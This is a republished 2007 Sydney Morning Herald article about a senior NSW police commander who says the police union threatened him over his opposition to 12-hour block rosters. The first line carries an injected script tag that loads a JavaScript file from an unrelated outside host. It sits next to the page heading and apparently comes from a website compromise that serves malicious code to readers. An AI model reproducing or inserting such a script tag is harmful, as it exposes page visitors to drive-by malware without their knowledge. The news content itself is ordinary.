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New South Wales Police<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Sydney Morning Herald - Sydney
21 February 2007

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New South Wales Police

Shut up or face attack: top co

ONE of the state's most senior commanders has accused the police union of threatening him with a "personal attack" to stop him criticising the controversial 12-hour rostering system before the state election.

In a defiant letter sent to fellow officers yesterday, Superintendent Mick Plotecki said he had been officially gagged and that the Police Association had been able to censor and misrepresent the debate "safe in the knowledge that I have been instructed not to make public comment on the corporate issues of rostering".

"On the afternoon of 25 January I was subject to an overt threat by an employee of the Police Association with regard to my stance on the block rostering issue. The threat was very plain - that if I did not retract my claim that the introduction of such roster practices had cost this state approximately 800 police positions, then I would be subject to personal attack by the association," he wrote.

"That the association is now prepared to use threats in order to progress its agenda to cement block rosters into place ahead of the election and the auditor's finding � should be of concern to government, the executive, the taxpayers of NSW and to all police."

The Police Association is working behind the scenes to hammer out a pre-election deal with the Government to entrench the 12-hour rostering regime, which is not used in any other state.

Block rosters are extremely popular with frontline police, who can work just 19 to 21 days in each six-week block. Senior NSW police commanders argue there is now an entire generation of young officers who have worked only under a system that lets them have two jobs. It has also made it increasingly difficult for specialist squads such as the detectives - who still work traditional eight-hour shifts - to attract recruits.

Both the Government and the Coalition have avoided tackling the rostering issue to ensure they do not antagonise the police union. The Premier, Morris Iemma, and the Opposition Leader, Peter Debnam, have both promised to raise police numbers.

Yesterday, the office of the Police Minister, John Watkins, said he was negotiating on rosters with police and a decision would be announced before the election.

Superintendent Plotecki, a veteran homicide investigator who heads the big Liverpool command, sparked a statewide debate about rosters last year when he told the Herald the so-called block rosters - which allow uniformed officers to work four consecutive 12-hour shifts followed by up to six days off - eroded the force's ability to "serve the public effectively", benefited officers who moonlighted in second jobs and reduced commanders' ability to match staff numbers to the workload.

In an article offered originally to the union newsletter - but not published - Superintendent Plotecki argued the traditional eight-hour rosters could free the equivalent of 800 police positions. He wrote: "There is a limit to public goodwill. It is unrealistic to believe that we can continually make demands upon the public purse for further police numbers without demonstrating a commitment to the more effective use of the personnel we already have."

Yesterday, Superintendent Plotecki wrote that he had not intended his criticism to appear during the election campaign. "My original article on block rosters was written and submitted over 12 months ago (it took some months of lobbying before the article was published). Since that time, the association has largely ignored the issue."

The president of the Police Association, Bob Pritchard, confirmed late yesterday that the union would be "asking for commitments to continue flexible rostering" but that this did not have to be 12 hours. "It depends on what suits the local command."

Last month, the Police Commissioner, Ken Moroney, said he was prepared to have a "sensible debate" on rostering in the wake of revelations that widespread moonlighting inside the water police had been taken up by the Police Integrity Commission.

But Superintendent Plotecki says the guidelines for the roster agreement, signed by the union, indicate that police should not work more than three consecutive 12-hour shifts. He said this had been ignored to pursue the pattern of rigid four-day blocks.

Superintendent Plotecki wrote that NSW should experiment with a range of rostering patterns and that the only criterion should be a balance of safety issues with lifestyle, public expectations and operational requirements.

Victorian police recently won a case against their association in the Industrial Relations Commission by arguing 12-hour night shifts were a health and safety risk.

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Article sourced from

Sydney Morning Herald - Sydney21 February 2007

Shut up or face attack: top co

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Sydney Morning Herald - Sydney
21 February 2007